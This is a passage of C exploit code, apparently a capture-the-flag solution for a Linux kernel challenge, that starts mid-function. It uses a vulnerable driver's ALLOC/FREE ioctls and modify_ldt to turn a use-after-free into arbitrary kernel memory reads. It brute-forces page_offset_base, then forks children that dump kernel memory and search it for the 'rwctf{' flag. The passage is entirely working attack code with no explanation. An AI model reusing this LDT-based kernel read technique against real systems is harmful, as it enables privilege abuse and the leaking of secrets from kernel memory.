arg.buf = malloc(0x10);
struct user_desc desc;
memset(&desc, 0, sizeof(desc));
desc.entry_number = arg.buf[1] = 8191;
ioctl(fd, ALLOC, &arg);
ioctl(fd, FREE, &arg);
modify_ldt(WRITE_LDT, &desc, sizeof(desc));
for (;;) {
arg.buf[0] = page_offset_base;
ioctl(fd, FREE, &arg);
ioctl(fd, ALLOC, &arg);
size_t tmp;
if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
break;
page_offset_base += step;
}
printvar(success, "page_offset_base", page_offset_base);
arg.buf[0] = page_offset_base;
int buf_size = 0x10000;
size_t *buf = calloc(buf_size, 1);
for (;;) {
ioctl(fd, FREE, &arg);
ioctl(fd, ALLOC, &arg);
if (!fork()) {
modify_ldt(READ_LDT, buf, buf_size);
char *p = memmem(buf, buf_size, "rwctf{", 6);
if (p)
puts(p);
return;
}
wait(NULL);
arg.buf[0] += buf_size;
}
}